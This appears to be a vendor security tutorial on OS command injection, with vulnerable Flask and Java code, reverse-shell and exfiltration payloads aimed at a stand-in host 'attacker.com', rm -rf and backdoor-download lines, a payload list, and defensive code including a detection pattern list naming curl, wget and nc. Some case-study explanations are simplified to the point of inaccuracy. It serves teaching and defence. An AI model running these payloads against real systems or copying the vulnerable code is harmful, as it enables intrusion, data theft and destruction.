OS Command Injection
CRITICAL SEVERITY REMOTE CODE EXECUTION OWASP TOP 10
Overview
OS Command Injection occurs when an attacker tricks an application into executing arbitrary operating system commands on the server, giving them complete control over the system.
In One Sentence
Forcing a website to run your commands on its server, like having remote control access to someone else's computer.
Simple Explanation
Real-World Analogy
Imagine you have a voice-activated assistant in your home that can run any command you speak. Now imagine a burglar standing outside your window, speaking commands through the window: "Unlock the front door," "Disable the alarm," "Transfer all money from the safe."
The Attack in Action
Normal Usage
Website: "Convert user_photo.jpg to thumbnail"
Server runs: convert user_photo.jpg thumbnail.jpg ✓
Command Injection Attack
User input: user_photo.jpg; rm -rf /
Server runs: convert user_photo.jpg; rm -rf / thumbnail.jpg
Result: Deletes entire file system! ✗
The Vulnerability
Vulnerable Application Example
python# Python/Flask - VULNERABLE CODE
from flask import Flask, request
import os
@app.route('/ping')
def ping():
# Get IP address from user
ip = request.args.get('ip')
# DANGEROUS: Directly using user input in shell command!
command = f'ping -c 4 {ip}'
result = os.system(command)
return f'Ping result: {result}'
textUser visits: /ping?ip=8.8.8.8
Server executes: ping -c 4 8.8.8.8
Result: Shows ping statistics ✓
textAttacker visits: /ping?ip=8.8.8.8; cat /etc/passwd
Server executes:
1. ping -c 4 8.8.8.8
2. cat /etc/passwd (shows user account file!)
Response includes system password file ✗
Attack Breakdown
The ; (semicolon) is a command separator in Unix/Linux shells, meaning "run this command, then run the next command."
Command Injection Operators
bash; # Command separator: cmd1; cmd2 (run both)
&& # AND operator: cmd1 && cmd2 (run cmd2 if cmd1 succeeds)
|| # OR operator: cmd1 || cmd2 (run cmd2 if cmd1 fails)
| # Pipe: cmd1 | cmd2 (send output of cmd1 to cmd2)
` # Backticks: cmd1 `cmd2` (execute cmd2 and substitute result)
$() # Command substitution: cmd1 $(cmd2)
& # Background: cmd1 & cmd2 (run cmd1 in background)
\n # Newline: run commands on separate lines
cmd& # Command separator: cmd1 & cmd2
&& # AND operator
|| # OR operator
| # Pipe
bash8.8.8.8; whoami
# Runs: ping 8.8.8.8, then whoami
bash8.8.8.8 && cat /etc/passwd
# Runs: ping 8.8.8.8, IF successful, then cat /etc/passwd
bashfake.ip || cat /etc/passwd
# Runs: ping fake.ip, IF fails, then cat /etc/passwd
bash8.8.8.8 | nc attacker.com 4444
# Sends ping output to attacker's server
bash8.8.8.8 $(whoami)
# Executes whoami first, substitutes result into ping command
bash8.8.8.8 `cat /etc/passwd`
# Executes cat first, uses output in ping
Types of Command Injection
1. Direct Command Injection
Directly injecting complete commands using operators with visible output
python# Vulnerable: Image conversion tool
import os
def convert_image(filename):
# VULNERABLE
os.system(f'convert {filename} output.png')
bashfilename = 'image.jpg; curl http://attacker.com/shell.sh | bash'
textExecutes:
1. convert image.jpg output.png
2. curl http://attacker.com/shell.sh | bash
(downloads and runs malicious script!)
2. Blind Command Injection
Command executes but output isn't shown directly. Attacker uses confirmation techniques.
bash# If command runs, server will delay 10 seconds
8.8.8.8; sleep 10
cmd8.8.8.8 & timeout /t 10
bash# If command runs, attacker's server receives a request
8.8.8.8; curl http://attacker.com/confirm
# Or DNS lookup
8.8.8.8; nslookup attacker.com
bash# Create file, then check if it exists
8.8.8.8; touch /tmp/pwned.txt
# Later: Check if /tmp/pwned.txt exists
python@app.route('/ping')
def ping():
ip = request.args.get('ip')
os.system(f'ping -c 4 {ip} > /dev/null 2>&1') # Output hidden
return 'Ping executed'
bash# Attacker can't see output, but can confirm with delay:
/ping?ip=8.8.8.8; sleep 10
# If response takes 10+ seconds, command injection works!
3. Output Redirection
Redirecting command output to files or network
bash# Write /etc/passwd to web-accessible directory
8.8.8.8; cat /etc/passwd > /var/www/html/passwd.txt
# Now visit: http://website.com/passwd.txt
bash# Send data to attacker's server
8.8.8.8; curl -X POST -d "$(cat /etc/passwd)" http://attacker.com/collect
4. Reverse Shell
Making the server connect back to the attacker, giving them interactive command-line access
bash# Server connects to attacker's machine
8.8.8.8; bash -i >& /dev/tcp/attacker.com/4444 0>&1
bash8.8.8.8; nc -e /bin/bash attacker.com 4444
bash8.8.8.8; python -c 'import socket,subprocess;s=socket.socket();s.connect(("attacker.com",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
Step 1: Attacker sets up listener
→ nc -lvp 4444
Step 2: Victim runs injected reverse shell command
→ Command executed via injection
Step 3: Victim's server connects to attacker's listener
→ Connection established
Step 4: Attacker now has shell access to victim's server!
→ Full remote control achieved
Real-World Examples
Case Study 1: Shellshock (CVE-2014-6271)
Arbitrary command execution via Bash environment variables
bash# Vulnerable Bash versions processed commands in environment variables
User-Agent: () { :; }; /bin/bash -c "curl http://attacker.com/malware.sh | bash"
# When CGI script processed this header:
# Bash executed the injected command!
- Millions of servers affected
- Worms spreading automatically
- Used in botnets and ransomware
- Web servers using CGI scripts
- DHCP clients
- SSH servers with ForceCommand
- Any system parsing untrusted input into bash environment
Case Study 2: Equifax Breach (2017)
Command injection via Apache Struts serialization vulnerability
- 147 million people affected
- $700+ million in costs
- CEO, CIO, CSO resigned
java// Simplified vulnerable code
String redirectUrl = request.getParameter("redirect");
Runtime.getRuntime().exec("redirect " + redirectUrl);
// Attack:
// redirect=; cat /etc/passwd
Case Study 3: Cisco RV Routers (CVE-2022-20699)
Command injection in web management interface
- Thousands of routers compromised
- Used in botnets
- Corporate network breaches
text# Router diagnostic tool
POST /diagnostic.cgi
ping_addr=8.8.8.8; wget http://attacker.com/backdoor -O /tmp/backdoor; chmod +x /tmp/backdoor; /tmp/backdoor
Case Study 4: Log4Shell (CVE-2021-44228)
Command injection via JNDI lookups in log messages
- Hundreds of millions of systems affected
- Classified as "most critical vulnerability decade"
- Used in ransomware and crypto mining
java// Vulnerable logging
log.info("User login: " + username);
javausername = "${jndi:ldap://attacker.com/Exploit}"
// Log4j fetched and executed code from attacker's LDAP server!
Prevention & Mitigation
1. Avoid System Commands (Best Practice)
The Best Defense
Don't use system commands - use language built-in functions instead.
python# VULNERABLE - Using shell commands
import os
def ping_host(ip):
os.system(f'ping -c 4 {ip}') # DANGEROUS!
python# SECURE - Using library
import subprocess
import ipaddress
def ping_host(ip):
# Validate IP first
try:
ipaddress.ip_address(ip)
except ValueError:
return "Invalid IP"
# Use library instead of shell
import ping3
result = ping3.ping(ip)
return f"Ping: {result}"
| Task | ❌ Avoid | ✅ Use Instead |
|---|---|---|
| Ping | os.system('ping...') |
ping3 library (Python), net.Dial (Go) |
| File operations | os.system('cp...') |
shutil.copy() (Python), fs.copy() (Node) |
| Image conversion | os.system('convert...') |
PIL/Pillow (Python), sharp (Node) |
| PDF generation | os.system('pandoc...') |
reportlab (Python), pdfkit (Node) |
| Compression | os.system('tar...') |
tarfile module (Python), archiver (Node) |
2. Input Validation (Whitelist)
python# Python - SECURE
import subprocess
import re
def ping_host(ip):
# Whitelist: Only allow valid IP format
if not re.match(r'^(\d{1,3}\.){3}\d{1,3}$', ip):
raise ValueError("Invalid IP address")
# Additional validation: Check each octet
octets = ip.split('.')
if not all(0 <= int(octet) <= 255 for octet in octets):
raise ValueError("Invalid IP address")
# Safe to use
result = subprocess.run(
['ping', '-c', '4', ip],
capture_output=True,
text=True,
timeout=10
)
return result.stdout
javascript// Node.js - SECURE
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFilePromise = promisify(execFile);
async function pingHost(hostname) {
// Whitelist: Only alphanumeric, dots, hyphens
if (!/^[a-zA-Z0-9.-]+$/.test(hostname)) {
throw new Error('Invalid hostname');
}
// Additional checks
if (hostname.length > 253) {
throw new Error('Hostname too long');
}
try {
const { stdout } = await execFilePromise('ping', ['-c', '4', hostname]);
return stdout;
} catch (error) {
return `Ping failed: ${error.message}`;
}
}
3. Use Parameterized Commands
Critical
Never concatenate strings - use argument arrays
python# DANGEROUS - Shell interprets special characters
import os
os.system(f'ping -c 4 {user_input}') # Shell=True (implicit)
python# SAFE - No shell interpretation
import subprocess
subprocess.run(
['ping', '-c', '4', user_input], # Array of arguments
shell=False, # IMPORTANT: Don't use shell
capture_output=True,
timeout=10
)
pythonuser_input = "8.8.8.8; cat /etc/passwd"
subprocess.run(f'ping -c 4 {user_input}', shell=True)
# Executes: ping -c 4 8.8.8.8; cat /etc/passwd (BAD!)
pythonuser_input = "8.8.8.8; cat /etc/passwd"
subprocess.run(['ping', '-c', '4', user_input], shell=False)
# Executes: ping -c 4 "8.8.8.8; cat /etc/passwd"
# Tries to ping literal string (fails, but safe!)
javascriptconst { exec } = require('child_process');
exec(`ping -c 4 ${userInput}`); // Shell interprets
javascriptconst { execFile } = require('child_process');
execFile('ping', ['-c', '4', userInput]); // No shell, safe!
4. Escape Shell Metacharacters
If shell is absolutely required, escape dangerous characters (last resort)
python# Python - Escaping (last resort)
import shlex
def safe_shell_command(user_input):
# shlex.quote() escapes all special characters
safe_input = shlex.quote(user_input)
command = f'ping -c 4 {safe_input}'
result = subprocess.run(command, shell=True, capture_output=True)
return result.stdout
pythonuser_input = "8.8.8.8; cat /etc/passwd"
safe_input = shlex.quote(user_input)
# Result: '8.8.8.8; cat /etc/passwd'
# (Wrapped in single quotes, special chars neutralized)
# Command becomes:
# ping -c 4 '8.8.8.8; cat /etc/passwd'
# Treats entire string as single argument, ; has no special meaning
php<?php
// PHP - Escaping
$user_input = $_GET['ip'];
$safe_input = escapeshellarg($user_input);
// escapeshellarg() wraps in single quotes and escapes
$command = "ping -c 4 $safe_input";
$output = shell_exec($command);
?>
5. Sandboxing and Least Privilege
python# Python - Running as restricted user
import subprocess
import pwd
import os
def ping_as_nobody(ip):
# Validate first
if not is_valid_ip(ip):
raise ValueError("Invalid IP")
# Get nobody user
nobody = pwd.getpwnam('nobody')
# Run with minimal privileges
result = subprocess.run(
['ping', '-c', '4', ip],
user=nobody.pw_uid,
group=nobody.pw_gid,
capture_output=True,
timeout=10
)
return result.stdout
python# Run command in isolated container
import docker
def run_in_container(command):
client = docker.from_env()
# Run in ephemeral container
container = client.containers.run(
'alpine:latest',
command=['sh', '-c', command],
remove=True, # Auto-remove after execution
network_disabled=True, # No network access
mem_limit='128m', # Memory limit
cpu_quota=50000, # CPU limit
read_only=True, # Read-only filesystem
detach=False
)
return container
6. Monitoring and Detection
python# Python - Command monitoring
import subprocess
import logging
import re
DANGEROUS_PATTERNS = [
r';',
r'&&',
r'\|\|',
r'\$\(',
r'`',
r'\/bin\/',
r'bash',
r'sh -c',
r'curl',
r'wget',
r'nc',
r'netcat'
]
def execute_with_monitoring(command, args):
# Check for suspicious patterns
full_command = ' '.join([command] + args)
for pattern in DANGEROUS_PATTERNS:
if re.search(pattern, full_command, re.IGNORECASE):
logging.error(f"SECURITY: Suspicious command detected: {full_command}")
# Alert security team
send_security_alert(f"Command injection attempt: {full_command}")
raise ValueError("Suspicious command detected")
# Execute if safe
result = subprocess.run(
[command] + args,
shell=False,
capture_output=True,
timeout=10
)
return result
Testing for Command Injection
Detection Indicators
bash# Test if command runs
?ip=8.8.8.8; sleep 10
# If response takes 10+ seconds = vulnerable!
textError: sh: syntax error near unexpected token `;'
Error: 'cat' is not recognized as an internal command
bash# Normal:
?ip=8.8.8.8
Response: 200 bytes
# With command:
?ip=8.8.8.8; cat /etc/passwd
Response: 2,500 bytes (includes file content!)
Manual Testing
bash# Test each separator
curl "http://target.com/ping?ip=8.8.8.8;whoami"
curl "http://target.com/ping?ip=8.8.8.8%26%26whoami"
curl "http://target.com/ping?ip=8.8.8.8||whoami"
curl "http://target.com/ping?ip=8.8.8.8|whoami"
curl "http://target.com/ping?ip=8.8.8.8\`whoami\`"
bashcurl "http://target.com/ping?ip=8.8.8.8;sleep 10"
# Measure response time
time curl "http://target.com/ping?ip=8.8.8.8;sleep 10"
# If takes ~10 seconds = vulnerable!
cmdcurl "http://target.com/ping?ip=8.8.8.8%26timeout /t 10"
bash# DNS lookup (use Burp Collaborator or similar)
curl "http://target.com/ping?ip=8.8.8.8;nslookup RANDOM.burpcollaborator.net"
# HTTP request
curl "http://target.com/ping?ip=8.8.8.8;curl http://RANDOM.burpcollaborator.net"
Automated Testing Tools
Commix
bash# Automated command injection testing
commix --url="http://target.com/ping?ip=8.8.8.8" --level=3
# Test specific parameter
commix --url="http://target.com/ping" --data="ip=8.8.8.8" -p ip
Burp Suite Collaborator
1. Get unique Collaborator URL: abc123.burpcollaborator.net
2. Test: ?ip=8.8.8.8;nslookup abc123.burpcollaborator.net
3. Check Collaborator for incoming DNS/HTTP requests
4. If request received = vulnerable!
SQLMap
bashsqlmap -u "http://target.com/ping?ip=8.8.8.8" --os-shell
Metasploit
bash# Use command injection modules
msfconsole
use auxiliary/scanner/http/command_injection
set RHOSTS target.com
set TARGETURI /ping
run
Test Payloads
bash# Basic tests
; whoami
; id
; pwd
; cat /etc/passwd
; ls -la
# Time-based
; sleep 10
; ping -c 10 127.0.0.1
# Out-of-band
; curl http://attacker.com
; wget http://attacker.com
; nslookup attacker.com
# Reverse shell
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
; nc -e /bin/bash attacker.com 4444
cmd& whoami
& dir
& type C:\Windows\win.ini
& timeout /t 10
& ping -n 10 127.0.0.1
& nslookup attacker.com
Security Checklist
Development
- [ ] Use language libraries instead of system commands
- [ ] Never use
shell=Trueor equivalent - [ ] Use argument arrays with
shell=False - [ ] Validate all user input with whitelists
- [ ] Escape shell metacharacters if shell required
- [ ] Never concatenate user input into command strings
- [ ] Use parameterized command execution
Infrastructure
- [ ] Run commands with least privilege (restricted user)
- [ ] Implement sandboxing/containerization
- [ ] Disable unnecessary system commands
- [ ] Use SELinux, AppArmor, or similar
- [ ] Implement network segmentation
- [ ] Monitor command execution patterns
Testing
- [ ] Test for command injection with separators
- [ ] Perform time-based blind injection tests
- [ ] Use out-of-band confirmation techniques
- [ ] Automated scanning with Commix/Burp Suite
- [ ] Penetration testing for command injection
- [ ] Code review for command execution
Monitoring
- [ ] Log all command executions with parameters
- [ ] Alert on suspicious command patterns
- [ ] Monitor for abnormal process spawning
- [ ] Implement real-time threat detection
- [ ] Track failed command injection attempts
- [ ] Review logs regularly for anomalies
Key Takeaways
Primary Defenses
- Avoid system commands - Use language libraries instead
- Never use shell=True - Use argument arrays with shell=False
- Validate input strictly - Whitelist only expected characters
- Use parameterized execution - Never concatenate strings into commands
Critical Points
- Command injection leads to complete system compromise
- Even "blind" injection can be exploited with time-based and OOB techniques
- Escaping alone is NOT sufficient - always prefer safer alternatives
- Apply defense in depth with monitoring and sandboxing
Best Practices
- Use least privilege for command execution
- Sandbox command execution environments
- Monitor and log all command activity
- Perform regular security testing
- Keep systems and dependencies updated
References & Resources
Official Documentation
Testing Tools
Learning Resources
- PortSwigger Web Security Academy - OS Command Injection
- HackTricks - Command Injection
- SANS - Preventing Command Injection
Layerd AI Protection
Layerd AI Cloud WAF blocks command injection:
- Pattern detection - Identifies command separators and dangerous patterns
- Behavioral analysis - ML detects abnormal command execution
- Real-time blocking - Prevents malicious commands from executing
- Zero-day protection - Catches novel injection techniques
Learn more about Layerd AI Protection →
Remember: OS Command Injection is a critical vulnerability that leads to complete system compromise. Always use language libraries instead of system commands, and never trust user input in command execution contexts.
Avoid system commands entirely whenever possible!
Last updated: November 2025